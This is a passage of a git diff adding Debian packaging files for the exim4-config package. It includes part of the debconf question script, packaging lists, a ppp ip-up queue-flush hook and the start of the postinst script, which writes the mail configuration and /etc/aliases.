+ # host_accept_relay = 127.0.0.1 : ::::1 : ......
+ # if they exist, ie. parse list, and remove "127.0.0.1", "::::1"
+ # and "localhost" from it.
+ #
+ dc_relay_nets="$(cat $1 | grep -h '^host_accept_relay[[:blank:]]*=' | sed -e 's/^host_accept_relay[[:blank:]]*=//' | coloncolon2oe | env -u LC_ALL LC_CTYPE=C sed -e 's/ 127\.0\.0\\.1 //g' -e 's/ localhost //g' -e 's/ öö1//g' -e 's/[[:blank:]]*//g' -e 's/::/:/g' -e 's/^://' -e 's/:$//' -e 's/ö/::/g')"
+
+ # 'local_domains = $colonhostnames', including mailname and "localhost"
+ #
+ dc_other_hostnames="$(cat $1 | grep -h '^local_domains[[:blank:]]*=' | sed -e 's/^local_domains[[:blank:]]*=//' | coloncolon2oe | env -u LC_ALL LC_CTYPE=C sed -e 's/ localhost //g' -e "s/ ${dc_mailname} //g" -e 's/[[:blank:]]*//g' -e 's/::/:/g' -e 's/^://' -e 's/:$//' -e 's/ö/::/g')"
+
+ # relay_domains = some.domain
+ dc_relay_domains="$(cat $1 | grep -h '^relay_domains = ' | sed -e 's/^relay_domains[[:blank:]]*=[[:blank:]]*//' -e 's/[[:blank:]]*$//')"
+
+ # lookuphost router exist ---> dc_eximconfig_configtype=internet
+ #
+ if cat $1 | grep -h -A2 '^lookuphost:' | \
+ grep -h -A1 '[[:blank:]]*driver = lookuphost' | \
+ grep -h -q '[[:blank:]]*transport = remote_smtp' ; then
+ dc_eximconfig_configtype=internet
+ else
+ # smart:-director exists ---> dc_eximconfig_configtype=satellite
+ #
+ # Later we need the new_address directive to find dc_readhost.
+ # ' || true' is required for "set -e"
+ dc_readhost="$(cat $1 | grep -h -A2 '^smart:' | grep -h -A1 '^[[:blank:]]*driver = smartuser' | grep -h '^[[:blank:]]*new_address' || true)"
+
+ # smarthost router exists --> dc_eximconfig_configtype is satellite or smarthost
+ #
+ # we need the route_list directive to find dc_smarthost
+ # ' || true' is required for "set -e"
+ dc_smarthost="$(< $1 grep -A3 '^smarthost:' | grep -A2 '[[:blank:]]*driver = domainlist' | grep -A1 '^[[:blank:]]*transport = remote_smtp' | grep '^[[:blank:]]*route_list = ".*"' || true)"
+
+ if [ ! -z "${dc_readhost}" ] ; then
+ dc_eximconfig_configtype=satellite
+ elif [ ! -z "${dc_smarthost}" ] ; then
+ dc_eximconfig_configtype=smarthost
+ elif ! cat "$1" | grep -h -q '^remote_smtp:'; then
+ # dc_eximconfig_configtype=local has no remote_smtp transport.
+ dc_eximconfig_configtype=local
+ else
+ # handcrafted config. We probably misparsed, reset values
+ # and exit.
+ dc_eximconfig_configtype=''
+ dc_local_interfaces='notset'
+ dc_other_hostnames=''
+ dc_readhost=''
+ dc_relay_domains=''
+ dc_relay_nets=''
+ dc_smarthost=''
+ dc_hide_mailname=''
+ return 1
+ fi
+ fi
+
+ case ${dc_eximconfig_configtype} in
+ internet|local)
+ #paranoia
+ dc_readhost=''
+ dc_smarthost=''
+ dc_hide_mailname='false'
+ ;;
+ satellite)
+ # new_address = ${local_part}@$readhost
+ dc_readhost="$(printf '%s\n' "${dc_readhost}" | sed -e 's/^.*@//' -e 's/[[:blank:]]*$//')"
+ # route_list = "* $smtphost bydns_a"
+ dc_smarthost="$(printf '%s\n' "${dc_smarthost}" | \
+ sed -e 's/^ *route_list = "\* //' -e 's/ bydns_a"//' -e 's/[[:blank:]]*$//')"
+ dc_hide_mailname='true'
+ dc_relay_domains=''
+ ;;
+ smarthost)
+ # route_list = "* $smtphost bydns_a"
+ dc_smarthost="$(printf '%s\n' "${dc_smarthost}" | \
+ sed -e 's/^ *route_list = "\* //' -e 's/ bydns_a"//' -e 's/[[:blank:]]*$//')"
+ dc_hide_mailname='false'
+ dc_relay_domains=''
+ ;;
+ esac
+}
+
+##########
+mailname2otherhostnames() {
+ # u-ex4.conf no longer includes mailname in local domains,
+ # insert it once into other_hostnames.
+ # The debconf script might run twice, we need to store the result
+ # in a file to pass it to postinst..
+ [ -d /var/lib/exim4 ] || \
+ install -d -oroot -groot -m755 /var/lib/exim4
+ dc_mailname="$(head -n 1 /etc/mailname | stripwhitespace)" || true
+ if [ -z "${dc_other_hostnames}" ] ; then
+ dc_other_hostnames="${dc_mailname}"
+ else
+ dc_other_hostnames="$(printf '%s\n' "${dc_other_hostnames}" | stripwhitespace)":${dc_mailname}
+ fi
+ printf '%s\n' dc_other_hostnames="'""${dc_other_hostnames}""'" > \
+ /var/lib/exim4/addmailname2oh
+ db_fset "exim4/dc_other_hostnames" mailname true
+ dc_mailname_in_oh="true"
+}
+mailname2otherhostnamesdcloop() {
+# append mailname to other_hostnames, once. on fresh installations.
+ if [ "${dc_mailname_in_oh}" != "true" ] ;then
+ db_get exim4/mailname
+ dc_mailname="$(printf '%s\n' "$RET"| stripwhitespace)"
+ db_get "exim4/dc_other_hostnames"
+ dc_other_hostnames="$(printf '%s\n' "$RET"| stripwhitespace)"
+ if [ -z "${dc_other_hostnames}" ] ; then
+ dc_other_hostnames="${dc_mailname}"
+ else
+ dc_other_hostnames="${dc_other_hostnames}:${dc_mailname}"
+ fi
+ db_set exim4/dc_other_hostnames "${dc_other_hostnames}"
+ db_fset "exim4/dc_other_hostnames" mailname true
+ dc_mailname_in_oh="true"
+ fi
+}
+##########
+
+
+# set to dummy value, so we can differ between unset vs (seen or set outside debconf)
+dc_local_interfaces=notset
+
+db_settitle exim4/exim4-config-title
+db_get exim4/dc_eximconfig_configtype
+dc_eximconfig_configtype="$(convert_to_short "$RET")"
+db_get exim4/use_split_config
+dc_use_split_config="$RET"
+# Did we append mailname to other_hostnames yet?
+db_fget "exim4/dc_other_hostnames" mailname || true
+dc_mailname_in_oh="$RET"
+
+if [ -e $UE4CC ] ; then
+ . $UE4CC || true
+ # on upgrades _once_ add mailname to other_hostnames
+ if [ -n "$2" ] && [ "$1" = "configure" ] && \
+ [ "${dc_mailname_in_oh}" != "true" ] ; then
+ mailname2otherhostnames
+ fi
+ # set defaults using these values
+ storevar2db
+else
+ # If there are no debconf answers (running first time) and we are
+ # making a cross upgrade from exim3, try to parse its config file
+ # to seed debconf db.
+ if [ "${dc_eximconfig_configtype}" = "" ] && [ -r /etc/exim/exim.conf ] ; then
+ # parse old configfile
+ #
+ # first do unfolding of lines continued with backslash, by:
+ # 1. remove comment lines
+ # 2. remove blank lines
+ # 3. remove "\<optional space><newline><optional space>"
+ exim3confunfolded="$(tempfile -p EX3)"
+ perl -e \
+ 'undef $/;
+ while (<>) {
+ s/^[[:space:]]*#[^\n]*\n//mg;
+ s/^\n//mg;
+ s/\\[[:space:]]*\n[[:space:]]*//g;
+ } continue {
+ print or die "blah";
+ }' < /etc/exim/exim.conf > "$exim3confunfolded"
+ if parseexim3 "$exim3confunfolded" ; then
+ # set defaults using these values
+ storevar2db
+ fi
+ rm -f "$exim3confunfolded"
+ fi
+fi
+
+## set up default values, we cannot do this in templates file because
+## config script is called two times before update-exim4.conf.conf exists.
+[ "${dc_eximconfig_configtype}" = "" ] && \
+ dc_eximconfig_configtype="local" && \
+ db_set exim4/dc_eximconfig_configtype "$(convert_to_long ${dc_eximconfig_configtype})"
+
+
+if [ -e /etc/mailname ] ; then
+ dc_mailname="$(head -n 1 /etc/mailname | stripwhitespace)" || true
+ # store values
+ db_set exim4/mailname "${dc_mailname}"
+else
+ db_get exim4/mailname
+ dc_mailname="$RET"
+fi
+
+#Set default mailname
+if [ "${dc_mailname}" = "" ] ; then
+ dc_mailname="$(hostname --fqdn 2>/dev/null)" || dc_mailname="$(hostname)" && \
+ dc_mailname="$(printf '%s\n' "${dc_mailname}" | stripwhitespace)" && \
+ db_set exim4/mailname "${dc_mailname}"
+fi
+fqdn="$(hostname --fqdn 2>/dev/null)" || fqdn=''
+db_subst exim4/dc_other_hostnames fqdn "$fqdn"
+
+# initialize env-vars from debconf_db, if they haven't been set yet either by
+# parseexim3() or by sourcing $UE4CC
+if [ "${dc_readhost}" = "" ] ; then
+ db_get exim4/dc_readhost
+ dc_readhost="$RET"
+fi
+if [ "${dc_smarthost}" = "" ] ; then
+ db_get exim4/dc_smarthost
+ dc_smarthost="$RET"
+fi
+# Tricky! An empty value for this option is significant, therefore both
+# envvar and debconf-value default to "nonset" instead of "", the
+# following line will only change then envvars value if the config-script
+# runs the second time without existing $UE4CC or
+# if the debconf-db has been preseeded by other means.
+if [ "${dc_local_interfaces}" = "notset" ]; then
+ db_get exim4/dc_local_interfaces
+ dc_local_interfaces="$RET"
+fi
+if [ "${dc_minimaldns}" = "" ] ; then
+ db_get exim4/dc_minimaldns
+ dc_minimaldns="$RET"
+fi
+
+if [ "${dc_use_split_config}" = "" ] ; then
+ if [ "${2}" = "" ] ; then
+ # fresh installation
+ db_set exim4/use_split_config false
+ dc_use_split_config="false"
+ else
+ db_set exim4/use_split_config true
+ dc_use_split_config="true"
+ fi
+fi
+
+if [ "${dc_localdelivery}" = "" ] ; then
+ db_get exim4/dc_localdelivery
+ dc_localdelivery="$(convert_transport_to_short "$RET")"
+elif [ "$(convert_transport_to_long ${dc_localdelivery})" = "locally customized" ] ; then
+ dc_localdelivery="custom"
+fi
+
+db_version 2.0
+
+db_capb backup
+# initial state
+STATE=1
+# state to continue for all values
+CONTSTATE=50
+# last valid state
+STATELIMIT=51
+EX4QUESTION=""
+while [ "$STATE" != 0 ] && [ "$STATE" -le "$STATELIMIT" ]; do
+ case "$STATE" in
+ 1)
+ # this is now empty
+ EX4QUESTION=""
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ ;;
+
+ 2)
+ EX4QUESTION="exim4/dc_eximconfig_configtype"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ CONFIGTYPEQUESTION=2
+ db_input medium "$EX4QUESTION" || true
+ ;;
+ 3)
+ EX4QUESTION=""
+ db_get exim4/dc_eximconfig_configtype
+ dc_eximconfig_configtype="$(convert_to_short "$RET")"
+ BACKSTATE=$(($STATE - 1))
+ case "${dc_eximconfig_configtype}" in
+ none)
+ # dont ask more questions
+ #FORWSTATE=$(($STATELIMIT + 1))
+ FORWSTATE=4
+ ;;
+ internet)
+ FORWSTATE=8
+ ;;
+ smarthost)
+ FORWSTATE=20
+ ;;
+ satellite)
+ FORWSTATE=30
+ ;;
+ local)
+ FORWSTATE=40
+ ;;
+ *)
+ # Should not happen. Break loop
+ FORWSTATE=$(($STATELIMIT + 1))
+ ;;
+ esac
+ ;;
+
+ 4)
+ # show additional info for type=none
+ EX4QUESTION="exim4/no_config"
+ BACKSTATE=$CONFIGTYPEQUESTION
+ FORWSTATE=$(($STATE + 1))
+ # same priority as configtype because of danger of loop?
+ db_input medium "$EX4QUESTION" || true
+ ;;
+ 5)
+ EX4QUESTION=""
+ BACKSTATE=$CONFIGTYPEQUESTION
+ db_get exim4/no_config || true
+ if [ "$RET" = "false" ]; then
+ FORWSTATE=$CONFIGTYPEQUESTION
+ else
+ #break loop
+ FORWSTATE=$CONTSTATE
+ fi
+ ;;
+
+ 8)
+ # internet site
+ EX4QUESTION="exim4/mailname"
+ db_input medium "$EX4QUESTION" || true
+ BACKSTATE=$CONFIGTYPEQUESTION
+ FORWSTATE=$(($STATE + 1))
+ ;;
+ 9)
+ EX4QUESTION="exim4/dc_local_interfaces"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ if [ "${dc_local_interfaces}" = "notset" ] ; then
+ dc_local_interfaces=''
+ db_set exim4/dc_local_interfaces ''
+ fi
+ db_input medium "$EX4QUESTION" || true
+ ;;
+ 10)
+ EX4QUESTION="exim4/dc_other_hostnames"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ mailname2otherhostnamesdcloop
+ db_input medium "$EX4QUESTION" || true
+ ;;
+ 11)
+ EX4QUESTION="exim4/dc_relay_domains"
+ db_input medium "$EX4QUESTION" || true
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ ;;
+ 12)
+ EX4QUESTION="exim4/dc_relay_nets"
+ db_input medium "$EX4QUESTION" || true
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ ;;
+ 13)
+ EX4QUESTION="exim4/dc_minimaldns"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ db_input low "$EX4QUESTION" || true
+ ;;
+ 14)
+ EX4QUESTION="exim4/dc_localdelivery"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$CONTSTATE
+ # do not ask question if user has set a different transport
+ # than maildir or mailspool
+ if [ "${dc_localdelivery}" != "custom" ] ; then
+ db_input low "$EX4QUESTION" || true
+ fi
+ ;;
+
+
+ 20)
+ # internet site with smarthost
+ EX4QUESTION="exim4/mailname"
+ db_input medium "$EX4QUESTION" || true
+ BACKSTATE=$CONFIGTYPEQUESTION
+ FORWSTATE=$(($STATE + 1))
+ ;;
+ 21)
+ EX4QUESTION="exim4/dc_local_interfaces"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ if [ "${dc_local_interfaces}" = "notset" ] ; then
+ dc_local_interfaces='127.0.0.1 ; ::1'
+ db_set exim4/dc_local_interfaces '127.0.0.1 ; ::1'
+ fi
+ db_input medium "$EX4QUESTION" || true
+ ;;
+ 22)
+ EX4QUESTION="exim4/dc_other_hostnames"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ mailname2otherhostnamesdcloop
+ db_input medium "$EX4QUESTION" || true
+ ;;
+ 23)
+ EX4QUESTION="exim4/dc_relay_domains"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ db_get "$EX4QUESTION" || true
+ dc_relay_domains="$RET"
+ # Only ask for relay domains if non-empty, since this only
+ # really works for internet site hosts. (See comment near
+ # smarthost router definition in configuration file.)
+ if [ "${dc_relay_domains}" != "" ] ; then
+ db_input medium "$EX4QUESTION" || true
+ fi
+ ;;
+ 24)
+ EX4QUESTION="exim4/dc_relay_nets"
+ db_input medium "$EX4QUESTION" || true
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ ;;
+ 25)
+ EX4QUESTION="exim4/dc_smarthost"
+ if [ "${dc_smarthost}" = "" ] ; then
+ # default to mail.mailname
+ dc_smarthost="mail.${dc_mailname}"
+ db_set exim4/dc_smarthost "${dc_smarthost}"
+ fi
+ db_input medium "$EX4QUESTION" || true
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ ;;
+ 26)
+ EX4QUESTION="exim4/hide_mailname"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ db_get exim4/mailname || true
+ dc_mailname="$RET"
+ db_get exim4/dc_other_hostnames || true
+ dc_other_hostnames="$RET"
+ db_subst exim4/hide_mailname mailname ${dc_mailname}
+ db_subst exim4/hide_mailname dc_other_hostnames \
+ ${dc_other_hostnames}
+ db_get $EX4QUESTION || true
+ dc_hide_mailname="$RET"
+ if [ "${dc_hide_mailname}" = "" ] ; then
+ dc_hide_mailname='false'
+ db_set exim4/hide_mailname "${dc_hide_mailname}"
+ fi
+ db_input medium "$EX4QUESTION" || true
+ ;;
+ 27)
+ EX4QUESTION="exim4/dc_readhost"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ db_get exim4/hide_mailname
+ dc_hide_mailname="$RET"
+ if [ "${dc_hide_mailname}" = "true" ];then
+ if [ "${dc_readhost}" = "" ] ; then
+ # default to mailname
+ dc_readhost="${dc_mailname}"
+ db_set exim4/dc_readhost "${dc_readhost}"
+ fi
+ db_input medium "$EX4QUESTION" || true
+ else
+ EX4QUESTION=""
+ fi
+ ;;
+ 28)
+ EX4QUESTION="exim4/dc_minimaldns"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ db_input low "$EX4QUESTION" || true
+ ;;
+ 29)
+ EX4QUESTION="exim4/dc_localdelivery"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$CONTSTATE
+ # do not ask question if user has set a different transport
+ # than maildir or mailspool
+ if [ "${dc_localdelivery}" != "custom" ] ; then
+ db_input low "$EX4QUESTION" || true
+ fi
+ ;;
+
+ 30)
+ # satellite
+ EX4QUESTION="exim4/mailname"
+ db_input medium "$EX4QUESTION" || true
+ BACKSTATE=$CONFIGTYPEQUESTION
+ FORWSTATE=$(($STATE + 1))
+ ;;
+ 31)
+ EX4QUESTION="exim4/dc_local_interfaces"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ if [ "${dc_local_interfaces}" = "notset" ] ; then
+ dc_local_interfaces='127.0.0.1 ; ::1'
+ db_set exim4/dc_local_interfaces '127.0.0.1 ; ::1'
+ fi
+ db_input medium "$EX4QUESTION" || true
+ ;;
+ 32)
+ EX4QUESTION="exim4/dc_other_hostnames"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ mailname2otherhostnamesdcloop
+ db_input medium "$EX4QUESTION" || true
+ ;;
+ 33)
+ EX4QUESTION="exim4/dc_readhost"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ # satellite requires a mail-hub, no use asking whether there
+ # is one.
+ db_set exim4/hide_mailname "true"
+ dc_hide_mailname="true"
+ if [ "${dc_readhost}" = "" ] ; then
+ # default to domain of mailname
+ dc_readhost="${dc_mailname}"
+ db_set exim4/dc_readhost "${dc_readhost}"
+ fi
+ db_input medium "$EX4QUESTION" || true
+ ;;
+ 34)
+ EX4QUESTION="exim4/dc_smarthost"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ db_get exim4/dc_readhost
+ dc_readhost="$RET"
+ if [ "${dc_smarthost}" = "" ] ; then
+ # default to read_host
+ dc_smarthost="${dc_readhost}"
+ db_set exim4/dc_smarthost "${dc_smarthost}"
+ fi
+ db_input medium "$EX4QUESTION" || true
+ ;;
+ 35)
+ EX4QUESTION="exim4/dc_relay_domains"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ db_get "$EX4QUESTION" || true
+ dc_relay_domains="$RET"
+ # Only ask for relay domains if non-empty, since this only
+ # really works for internet site hosts. (See comment near
+ # smarthost router definition in configuration file.)
+ if [ "${dc_relay_domains}" != "" ] ; then
+ db_input medium "$EX4QUESTION" || true
+ fi
+ ;;
+ 36)
+ EX4QUESTION=""
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ # satellite-system! Only ask for relay_nets if they are
+ # nonempty - we cannot distinguish whether they were set outside debconf
+ # or whether the user switched dc_eximconfig_configtype
+ db_get exim4/dc_relay_nets || true
+ dc_relay_nets="$RET"
+ if [ "${dc_relay_nets}" != "" ] ; then
+ db_input medium exim4/dc_relay_nets || true
+ FORWSTATE=$(($STATE + 1))
+ fi
+ ;;
+ 37)
+ EX4QUESTION="exim4/dc_minimaldns"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ db_input low "$EX4QUESTION" || true
+ ;;
+ 38)
+ EX4QUESTION="exim4/dc_localdelivery"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$CONTSTATE
+ # Only ask question if it is set to a value that is both supported
+ # by debconf (maildir_home and mail_spool) and is not set to the
+ # default value (maildir_home) since this is only used for
+ # real-*.
+ if [ "${dc_localdelivery}" = "maildir_home" ] ; then
+ db_input low "$EX4QUESTION" || true
+ fi
+ ;;
+
+ 40)
+ # local mail only
+ EX4QUESTION="exim4/mailname"
+ db_input medium "$EX4QUESTION" || true
+ BACKSTATE=$CONFIGTYPEQUESTION
+ FORWSTATE=$(($STATE + 1))
+ ;;
+ 41)
+ EX4QUESTION=""
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ if [ "${dc_local_interfaces}" = "notset" ] ; then
+ dc_local_interfaces='127.0.0.1 ; ::1'
+ db_set exim4/dc_local_interfaces '127.0.0.1 ; ::1'
+ fi
+ db_input medium exim4/dc_local_interfaces || true
+ ;;
+
+ 42)
+ EX4QUESTION="exim4/dc_other_hostnames"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ mailname2otherhostnamesdcloop
+ db_input medium "$EX4QUESTION" || true
+ ;;
+
+ 43)
+ EX4QUESTION=""
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ # local mail only -system! Only ask for relay_nets/relay_domains if they are
+ # nonempty - we cannot distinguish whether they were set outside debconf
+ # or whether the user switched dc_eximconfig_configtype
+ db_get exim4/dc_relay_nets || true
+ dc_relay_nets="$RET"
+ db_get exim4/dc_relay_domains || true
+ dc_relay_domains="$RET"
+
+ if [ "${dc_relay_nets}" != "" ] ; then
+ db_input medium exim4/dc_relay_nets || true
+ fi
+ if [ "${dc_relay_domains}" != "" ] ; then
+ db_input medium exim4/dc_relay_domains || true
+ fi
+ ;;
+ 44)
+ EX4QUESTION="exim4/dc_minimaldns"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$(($STATE + 1))
+ db_input low "$EX4QUESTION" || true
+ ;;
+ 45)
+ EX4QUESTION="exim4/dc_localdelivery"
+ BACKSTATE=$(($STATE - 1))
+ FORWSTATE=$CONTSTATE
+ # do not ask question if user has set a different transport
+ # than maildir or mailspool
+ if [ "${dc_localdelivery}" != "custom" ] ; then
+ db_input low "$EX4QUESTION" || true
+ fi
+ ;;
+ 50)
+ EX4QUESTION="exim4/use_split_config"
+ BACKSTATE=$PREVSTATE
+ FORWSTATE=$(($STATELIMIT + 1))
+ db_input medium "$EX4QUESTION" || true
+ ;;
+ esac
+ PREVSTATE=$STATE
+ if db_go; then
+ STATE=$FORWSTATE
+ else
+ STATE=$BACKSTATE
+ fi
+done
+if [ "$STATE" = 0 ] ; then
+ # User pressed back on the first question, go back to previous
+ # package if run by base-config 2.0. #222773.
+ exit 30
+fi
+
+# make sure dc_local_interfaces is set to sane value
+if [ "${dc_local_interfaces}" = "notset" ] ; then
+ dc_local_interfaces=''
+ db_set exim4/dc_local_interfaces ''
+fi
+
+if [ ! -e /etc/aliases ] || \
+ ! grep -q '^root:[[:space:]]*[[:alnum:]]' /etc/aliases ; then
+ db_get exim4/dc_postmaster
+ if [ -z "$RET" ] && db_get passwd/username; then
+ db_set exim4/dc_postmaster "${RET}"
+ fi
+ db_input medium exim4/dc_postmaster || true
+ db_go || true
+fi
+
+db_get exim4/dc_postmaster || true
+dc_postmaster="$(printf '%s\n' "$RET" | stripwhitespace)"
+
+# this has been commented out for a long time, remove by the end of 2007
+# if [ "${dc_eximconfig_configtype}" = "satellite" ] || [ "${dc_eximconfig_configtype}" = "local" ] ; then
+# # reset dc_relay_domains dc_relay_nets and dc_other_hostnames
+# db_set exim4/dc_relay_domains ""
+# db_set exim4/dc_relay_nets ""
+# db_set exim4/dc_other_hostnames ""
+# fi
diff --git a/debian/exim4-config.dirs b/debian/exim4-config.dirs
new file mode 100644
index 0000000..a87381e
--- /dev/null
+++ b/debian/exim4-config.dirs
@@ -0,0 +1,6 @@
+/etc/exim4/conf.d
+/etc/ppp/ip-up.d
+/usr/sbin
+/usr/share/doc/exim4-config
+/usr/share/man/man8
+/var/lib/exim4
diff --git a/debian/exim4-config.docs b/debian/exim4-config.docs
new file mode 100644
index 0000000..e174728
--- /dev/null
+++ b/debian/exim4-config.docs
@@ -0,0 +1 @@
+debian/README.Debian
diff --git a/debian/exim4-config.examples b/debian/exim4-config.examples
new file mode 100644
index 0000000..62112c3
--- /dev/null
+++ b/debian/exim4-config.examples
@@ -0,0 +1 @@
+debian/e-n-if-up
diff --git a/debian/exim4-config.exim4.ppp.ip-up b/debian/exim4-config.exim4.ppp.ip-up
new file mode 100644
index 0000000..d723ff5
--- /dev/null
+++ b/debian/exim4-config.exim4.ppp.ip-up
@@ -0,0 +1,15 @@
+#!/bin/sh
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+[ -x /usr/lib/exim4/exim4 ] || exit 0
+
+[ -f /etc/default/exim4 ] && . /etc/default/exim4
+
+if [ "${QUEUERUNNER}" != "no" ] ; then
+# Flush exim queue
+ /usr/sbin/exim4 -qqf ${QUEUERUNNEROPTIONS} ${COMMONOPTIONS}
+fi
diff --git a/debian/exim4-config.install b/debian/exim4-config.install
new file mode 100644
index 0000000..94d6a91
--- /dev/null
+++ b/debian/exim4-config.install
@@ -0,0 +1,3 @@
+debian/debconf/exim4.conf.template etc/exim4
+debian/debconf/update-exim4.conf.template usr/sbin
+debian/script usr/share/bug/exim4-config
diff --git a/debian/exim4-config.links b/debian/exim4-config.links
new file mode 100644
index 0000000..542c9f5
--- /dev/null
+++ b/debian/exim4-config.links
@@ -0,0 +1,15 @@
+usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/etc-aliases.5.gz
+usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/etc-email-addresses.5.gz
+usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_exim_crt.5.gz
+usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_exim_key.5.gz
+usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_host_local_deny_exceptions.5.gz
+usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_hubbed_hosts.5.gz
+usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_local_domain_dnsbl_whitelist.5.gz
+usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_local_host_blacklist.5.gz
+usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_local_rcpt_callout.5.gz
+usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_local_sender_blacklist.5.gz
+usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_local_sender_callout.5.gz
+usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_passwd.5.gz
+usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_passwd_client.5.gz
+usr/share/man/man5/exim4-config_files.5.gz usr/share/man/man5/exim4_sender_local_deny_exceptions.5.gz
+usr/share/man/man8/update-exim4.conf.8.gz usr/share/man/man5/update-exim4.conf.conf.5.gz
diff --git a/debian/exim4-config.lintian-overrides b/debian/exim4-config.lintian-overrides
new file mode 100644
index 0000000..e5def90
--- /dev/null
+++ b/debian/exim4-config.lintian-overrides
@@ -0,0 +1 @@
+exim4-config: non-standard-file-perm etc/exim4/passwd.client 0640 != 0644
diff --git a/debian/exim4-config.manpages b/debian/exim4-config.manpages
new file mode 100644
index 0000000..decb79d
--- /dev/null
+++ b/debian/exim4-config.manpages
@@ -0,0 +1,4 @@
+debian/manpages/exim4-config_files.5
+debian/manpages/update-exim4.conf.8
+debian/manpages/update-exim4.conf.template.8
+debian/manpages/update-exim4defaults.8
diff --git a/debian/exim4-config.postinst b/debian/exim4-config.postinst
new file mode 100644
index 0000000..42d7b53
--- /dev/null
+++ b/debian/exim4-config.postinst
@@ -0,0 +1,408 @@
+#!/bin/sh
+
+set -e
+export exim4postinstisrunning=true
+. /usr/share/debconf/confmodule
+
+if [ -n "$EX4DEBUG" ]; then
+ echo "now debugging $0 $@"
+ set -x
+fi
+
+UE4CC="/etc/exim4/update-exim4.conf.conf"
+
+db_version 2.0
+
+get_value() {
+ db_get $1
+ code="$?"
+ if [ "$code" -eq "0" ]; then
+ :
+ else
+ echo "Error getting debconf answer $1: debconf code=$code" >&2
+ exit $code
+ fi
+}
+
+write_header() {
+ cat <<EOF > $UE4CC
+# $UE4CC
+#
+# Edit this file and /etc/mailname by hand and execute update-exim4.conf
+# yourself or use 'dpkg-reconfigure exim4-config'
+#
+# Please note that this is _not_ a dpkg-conffile and that automatic changes
+# to this file might happen. The code handling this will honor your local
+# changes, so this is usually fine, but will break local schemes that mess
+# around with multiple versions of the file.
+#
+# update-exim4.conf uses this file to determine variable values to generate
+# exim configuration macros for the configuration file.
+#
+# Most settings found in here do have corresponding questions in the
+# Debconf configuration, but not all of them.
+#
+# This is a Debian specific file
+
+EOF
+}
+
+addrootalias() {
+# remove leading and ending whitespace, shrink multiple whitespace, separate
+# entries with commas
+poma="$(echo "$1" | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' -e 's/[[:space:];][[:space:]]*/,/g')"
+if [ "none" != "$poma" ] && [ "" != "$poma" ]; then
+ echo "root: ${poma}" >> /etc/aliases
+fi
+}
+
+#initialize /etc/aliases
+writealiases() {
+echo '# /etc/aliases' > /etc/aliases.tmp
+echo 'mailer-daemon: postmaster' >> /etc/aliases.tmp
+for i in postmaster nobody hostmaster usenet news webmaster www ftp abuse noc security ; do
+ echo "${i}: root"
+done >> /etc/aliases.tmp
+mv /etc/aliases.tmp /etc/aliases
+}
+
+alias stripwhitespace="sed -e 's/^[[:blank:]]*//' -e 's/[[:blank:]]*$//'"
+
+# return success if md5sum matches file
+unmodified() {
+ [ "$#" -eq 1 ] || return 1
+ [ -f "$1" ] || return 1
+ # first line, without the leading '# '.
+ checksum_current="$(sed -n -e '1s/^# //' -e '1p;1q' "$1")"
+
+ # md5sum over the rest of the file.
+ # some versions of md5sum produce
+ # '68b329da9893e34099c7d8ad5cb9c940 -' others don't add the dash.
+ # '68b329da9893e34099c7d8ad5cb9c940'
+ checksum_new="$(sed -n '2,$p' "$1" | md5sum | cut -d\ -f1)"
+
+ if [ "${checksum_current}" = "${checksum_new}" ] ; then
+ return 0
+ else
+ return 1
+ fi
+}
+
